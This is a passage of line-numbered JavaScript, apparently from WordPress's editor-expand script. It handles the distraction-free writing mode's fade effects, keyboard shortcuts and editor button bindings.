1119 fadeIn();
1120
1121 $editor.off( '.focus' );
1122
1123 window.setUserSetting( 'post_dfw', 'off' );
1124
1125 $document.trigger( 'dfw-off' );
1126 }
1127 }
1128
1129 /**
1130 * Binds or unbinds the editor expand events.
1131 *
1132 * @since 4.1.0
1133 *
1134 * @return {void}
1135 */
1136 function toggle() {
1137 if ( _isOn ) {
1138 off();
1139 } else {
1140 on();
1141 }
1142 }
1143
1144 /**
1145 * Returns the value of _isOn.
1146 *
1147 * @since 4.1.0
1148 *
1149 * @return {boolean} Returns true if _isOn is true.
1150 */
1151 function isOn() {
1152 return _isOn;
1153 }
1154
1155 /**
1156 * Fades out all elements except for the editor.
1157 *
1158 * The fading is done based on key presses and mouse movements.
1159 * Also calls the fadeIn on certain key presses
1160 * or if the mouse leaves the editor.
1161 *
1162 * @since 4.1.0
1163 *
1164 * @param event The event that triggers this function.
1165 *
1166 * @return {void}
1167 */
1168 function fadeOut( event ) {
1169 var isMac,
1170 key = event && event.keyCode;
1171
1172 if ( window.navigator.platform ) {
1173 isMac = ( window.navigator.platform.indexOf( 'Mac' ) > -1 );
1174 }
1175
1176 // Fade in and returns on Escape and keyboard shortcut Alt+Shift+W and Ctrl+Opt+W.
1177 if ( key === 27 || ( key === 87 && event.altKey && ( ( ! isMac && event.shiftKey ) || ( isMac && event.ctrlKey ) ) ) ) {
1178 fadeIn( event );
1179 return;
1180 }
1181
1182 // Return if any of the following keys or combinations of keys is pressed.
1183 if ( event && ( event.metaKey || ( event.ctrlKey && ! event.altKey ) || ( event.altKey && event.shiftKey ) || ( key && (
1184 // Special keys ( tab, ctrl, alt, esc, arrow keys... ).
1185 ( key <= 47 && key !== 8 && key !== 13 && key !== 32 && key !== 46 ) ||
1186 // Windows keys.
1187 ( key >= 91 && key <= 93 ) ||
1188 // F keys.
1189 ( key >= 112 && key <= 135 ) ||
1190 // Num Lock, Scroll Lock, OEM.
1191 ( key >= 144 && key <= 150 ) ||
1192 // OEM or non-printable.
1193 key >= 224
1194 ) ) ) ) {
1195 return;
1196 }
1197
1198 if ( ! faded ) {
1199 faded = true;
1200
1201 clearTimeout( overlayTimer );
1202
1203 overlayTimer = setTimeout( function() {
1204 $overlay.show();
1205 }, 600 );
1206
1207 $editor.css( 'z-index', 9998 );
1208
1209 $overlay
1210 // Always recalculate the editor area when entering the overlay with the mouse.
1211 .on( 'mouseenter.focus', function() {
1212 recalcEditorRect();
1213
1214 $window.on( 'scroll.focus', function() {
1215 var nScrollY = window.pageYOffset;
1216
1217 if ( (
1218 scrollY && mouseY &&
1219 scrollY !== nScrollY
1220 ) && (
1221 mouseY < editorRect.top - buffer ||
1222 mouseY > editorRect.bottom + buffer
1223 ) ) {
1224 fadeIn();
1225 }
1226
1227 scrollY = nScrollY;
1228 } );
1229 } )
1230 .on( 'mouseleave.focus', function() {
1231 x = y = null;
1232 traveledX = traveledY = 0;
1233
1234 $window.off( 'scroll.focus' );
1235 } )
1236 // Fade in when the mouse moves away form the editor area.
1237 .on( 'mousemove.focus', function( event ) {
1238 var nx = event.clientX,
1239 ny = event.clientY,
1240 pageYOffset = window.pageYOffset,
1241 pageXOffset = window.pageXOffset;
1242
1243 if ( x && y && ( nx !== x || ny !== y ) ) {
1244 if (
1245 ( ny <= y && ny < editorRect.top - pageYOffset ) ||
1246 ( ny >= y && ny > editorRect.bottom - pageYOffset ) ||
1247 ( nx <= x && nx < editorRect.left - pageXOffset ) ||
1248 ( nx >= x && nx > editorRect.right - pageXOffset )
1249 ) {
1250 traveledX += Math.abs( x - nx );
1251 traveledY += Math.abs( y - ny );
1252
1253 if ( (
1254 ny <= editorRect.top - buffer - pageYOffset ||
1255 ny >= editorRect.bottom + buffer - pageYOffset ||
1256 nx <= editorRect.left - buffer - pageXOffset ||
1257 nx >= editorRect.right + buffer - pageXOffset
1258 ) && (
1259 traveledX > 10 ||
1260 traveledY > 10
1261 ) ) {
1262 fadeIn();
1263
1264 x = y = null;
1265 traveledX = traveledY = 0;
1266
1267 return;
1268 }
1269 } else {
1270 traveledX = traveledY = 0;
1271 }
1272 }
1273
1274 x = nx;
1275 y = ny;
1276 } )
1277
1278 // When the overlay is touched, fade in and cancel the event.
1279 .on( 'touchstart.focus', function( event ) {
1280 event.preventDefault();
1281 fadeIn();
1282 } );
1283
1284 $editor.off( 'mouseenter.focus' );
1285
1286 if ( focusLostTimer ) {
1287 clearTimeout( focusLostTimer );
1288 focusLostTimer = null;
1289 }
1290
1291 $body.addClass( 'focus-on' ).removeClass( 'focus-off' );
1292 }
1293
1294 fadeOutAdminBar();
1295 fadeOutSlug();
1296 }
1297
1298 /**
1299 * Fades all elements back in.
1300 *
1301 * @since 4.1.0
1302 *
1303 * @param event The event that triggers this function.
1304 *
1305 * @return {void}
1306 */
1307 function fadeIn( event ) {
1308 if ( faded ) {
1309 faded = false;
1310
1311 clearTimeout( overlayTimer );
1312
1313 overlayTimer = setTimeout( function() {
1314 $overlay.hide();
1315 }, 200 );
1316
1317 $editor.css( 'z-index', '' );
1318
1319 $overlay.off( 'mouseenter.focus mouseleave.focus mousemove.focus touchstart.focus' );
1320
1321 /*
1322 * When fading in, temporarily watch for refocus and fade back out - helps
1323 * with 'accidental' editor exits with the mouse. When fading in and the event
1324 * is a key event (Escape or Alt+Shift+W) don't watch for refocus.
1325 */
1326 if ( 'undefined' === typeof event ) {
1327 $editor.on( 'mouseenter.focus', function() {
1328 if ( $.contains( $editor.get( 0 ), document.activeElement ) || editorHasFocus ) {
1329 fadeOut();
1330 }
1331 } );
1332 }
1333
1334 focusLostTimer = setTimeout( function() {
1335 focusLostTimer = null;
1336 $editor.off( 'mouseenter.focus' );
1337 }, 1000 );
1338
1339 $body.addClass( 'focus-off' ).removeClass( 'focus-on' );
1340 }
1341
1342 fadeInAdminBar();
1343 fadeInSlug();
1344 }
1345
1346 /**
1347 * Fades in if the focused element based on it position.
1348 *
1349 * @since 4.1.0
1350 *
1351 * @return {void}
1352 */
1353 function maybeFadeIn() {
1354 setTimeout( function() {
1355 var position = document.activeElement.compareDocumentPosition( $editor.get( 0 ) );
1356
1357 function hasFocus( $el ) {
1358 return $.contains( $el.get( 0 ), document.activeElement );
1359 }
1360
1361 // The focused node is before or behind the editor area, and not outside the wrap.
1362 if ( ( position === 2 || position === 4 ) && ( hasFocus( $menuWrap ) || hasFocus( $wrap ) || hasFocus( $footer ) ) ) {
1363 fadeIn();
1364 }
1365 }, 0 );
1366 }
1367
1368 /**
1369 * Fades out the admin bar based on focus on the admin bar.
1370 *
1371 * @since 4.1.0
1372 *
1373 * @return {void}
1374 */
1375 function fadeOutAdminBar() {
1376 if ( ! fadedAdminBar && faded ) {
1377 fadedAdminBar = true;
1378
1379 $adminBar
1380 .on( 'mouseenter.focus', function() {
1381 $adminBar.addClass( 'focus-off' );
1382 } )
1383 .on( 'mouseleave.focus', function() {
1384 $adminBar.removeClass( 'focus-off' );
1385 } );
1386 }
1387 }
1388
1389 /**
1390 * Fades in the admin bar.
1391 *
1392 * @since 4.1.0
1393 *
1394 * @return {void}
1395 */
1396 function fadeInAdminBar() {
1397 if ( fadedAdminBar ) {
1398 fadedAdminBar = false;
1399
1400 $adminBar.off( '.focus' );
1401 }
1402 }
1403
1404 /**
1405 * Fades out the edit slug box.
1406 *
1407 * @since 4.1.0
1408 *
1409 * @return {void}
1410 */
1411 function fadeOutSlug() {
1412 if ( ! fadedSlug && faded && ! $slug.find( ':focus').length ) {
1413 fadedSlug = true;
1414
1415 $slug.stop().fadeTo( 'fast', 0.3 ).on( 'mouseenter.focus', fadeInSlug ).off( 'mouseleave.focus' );
1416
1417 $slugFocusEl.on( 'focus.focus', fadeInSlug ).off( 'blur.focus' );
1418 }
1419 }
1420
1421 /**
1422 * Fades in the edit slug box.
1423 *
1424 * @since 4.1.0
1425 *
1426 * @return {void}
1427 */
1428 function fadeInSlug() {
1429 if ( fadedSlug ) {
1430 fadedSlug = false;
1431
1432 $slug.stop().fadeTo( 'fast', 1 ).on( 'mouseleave.focus', fadeOutSlug ).off( 'mouseenter.focus' );
1433
1434 $slugFocusEl.on( 'blur.focus', fadeOutSlug ).off( 'focus.focus' );
1435 }
1436 }
1437
1438 /**
1439 * Triggers the toggle on Alt + Shift + W.
1440 *
1441 * Keycode 87 = w.
1442 *
1443 * @since 4.1.0
1444 *
1445 * @param {event} event The event to trigger the toggle.
1446 *
1447 * @return {void}
1448 */
1449 function toggleViaKeyboard( event ) {
1450 if ( event.altKey && event.shiftKey && 87 === event.keyCode ) {
1451 toggle();
1452 }
1453 }
1454
1455 if ( $( '#postdivrich' ).hasClass( 'wp-editor-expand' ) ) {
1456 $content.on( 'keydown.focus-shortcut', toggleViaKeyboard );
1457 }
1458
1459 /**
1460 * Adds the distraction free writing button when setting up TinyMCE.
1461 *
1462 * @since 4.1.0
1463 *
1464 * @param {event} event The TinyMCE editor setup event.
1465 * @param {object} editor The editor to add the button to.
1466 *
1467 * @return {void}
1468 */
1469 $document.on( 'tinymce-editor-setup.focus', function( event, editor ) {
1470 editor.addButton( 'dfw', {
1471 active: _isOn,
1472 classes: 'wp-dfw btn widget',
1473 disabled: ! _isActive,
1474 onclick: toggle,
1475 onPostRender: function() {
1476 var button = this;
1477
1478 editor.on( 'init', function() {
1479 if ( button.disabled() ) {
1480 button.hide();
1481 }
1482 } );
1483
1484 $document
1485 .on( 'dfw-activate.focus', function() {
1486 button.disabled( false );
1487 button.show();
1488 } )
1489 .on( 'dfw-deactivate.focus', function() {
1490 button.disabled( true );
1491 button.hide();
1492 } )
1493 .on( 'dfw-on.focus', function() {
1494 button.active( true );
1495 } )
1496 .on( 'dfw-off.focus', function() {
1497 button.active( false );
1498 } );
1499 },
1500 tooltip: 'Distraction-free writing mode',
1501 shortcut: 'Alt+Shift+W'
1502 } );
1503
1504 editor.addCommand( 'wpToggleDFW', toggle );
1505 editor.addShortcut( 'access+w', '', 'wpToggleDFW' );
1506 } );
1507
1508 /**
1509 * Binds and unbinds events on the editor.
1510 *
1511 * @since 4.1.0
1512 *
1513 * @param {event} event The TinyMCE editor init event.
1514 * @param {object} editor The editor to bind events on.
1515 *
1516 * @return {void}
1517 */
1518 $document.on( 'tinymce-editor-init.focus', function( event, editor ) {
1519 var mceBind, mceUnbind;
1520
1521 function focus() {
1522 editorHasFocus = true;
1523 }
1524
1525 function blur() {
1526 editorHasFocus = false;
1527 }
1528
1529 if ( editor.id === 'content' ) {
1530 $editorWindow = $( editor.getWin() );
1531 $editorIframe = $( editor.getContentAreaContainer() ).find( 'iframe' );
1532
1533 mceBind = function() {
1534 editor.on( 'keydown', fadeOut );
1535 editor.on( 'blur', maybeFadeIn );
1536 editor.on( 'focus', focus );
1537 editor.on( 'blur', blur );
1538 editor.on( 'wp-autoresize', recalcEditorRect );
1539 };
1540
1541 mceUnbind = function() {
1542 editor.off( 'keydown', fadeOut );
1543 editor.off( 'blur', maybeFadeIn );
1544 editor.off( 'focus', focus );
1545 editor.off( 'blur', blur );
1546 editor.off( 'wp-autoresize', recalcEditorRect );
1547 };
1548
1549 if ( _isOn ) {
1550 mceBind();
1551 }
1552
1553 // Bind and unbind based on the distraction free writing focus.
1554 $document.on( 'dfw-on.focus', mceBind ).on( 'dfw-off.focus', mceUnbind );
1555
1556 // Focus the editor when it is the target of the click event.
1557 editor.on( 'click', function( event ) {
1558 if ( event.target === editor.getDoc().documentElement ) {
1559 editor.focus();
1560 }
1561 } );
1562 }
1563 } );
1564
1565 /**
1566 * Binds events on quicktags init.
1567 *
1568 * @since 4.1.0
1569 *
1570 * @param {event} event The quicktags init event.
1571 * @param {object} editor The editor to bind events on.
1572 *
1573 * @return {void}
1574 */
1575 $document.on( 'quicktags-init', function( event, editor ) {
1576 var $button;
1577
1578 // Bind the distraction free writing events if the distraction free writing button is available.
1579 if ( editor.settings.buttons && ( ',' + editor.settings.buttons + ',' ).indexOf( ',dfw,' ) !== -1 ) {
1580 $button = $( '#' + editor.name + '_dfw' );
1581
1582 $( document )
1583 .on( 'dfw-activate', function() {
1584 $button.prop( 'disabled', false );
1585 } )
1586 .on( 'dfw-deactivate', function() {
1587 $button.prop( 'disabled', true );
1588 } )
1589 .on( 'dfw-on', function() {
1590 $button.addClass( 'active' );
1591 } )
1592 .on( 'dfw-off', function() {
1593 $button.removeClass( 'active' );
1594 } );
1595 }
1596 } );
1597
1598 $document.on( 'editor-expand-on.focus', activate ).on( 'editor-expand-off.focus', deactivate );
1599
1600 if ( _isOn ) {
1601 $content.on( 'keydown.focus', fadeOut );
1602
1603 $title.add( $content ).on( 'blur.focus', maybeFadeIn );
1604 }
1605
1606 window.wp = window.wp || {};
1607 window.wp.editor = window.wp.editor || {};
1608 window.wp.editor.dfw = {
1609 activate: activate,
1610 deactivate: deactivate,
1611 isActive: isActive,
1612 on: on,
1613 off: off,
1614 toggle: toggle,
1615 isOn: isOn
1616 };
1617 } );
1618} )( window, window.jQuery );
1619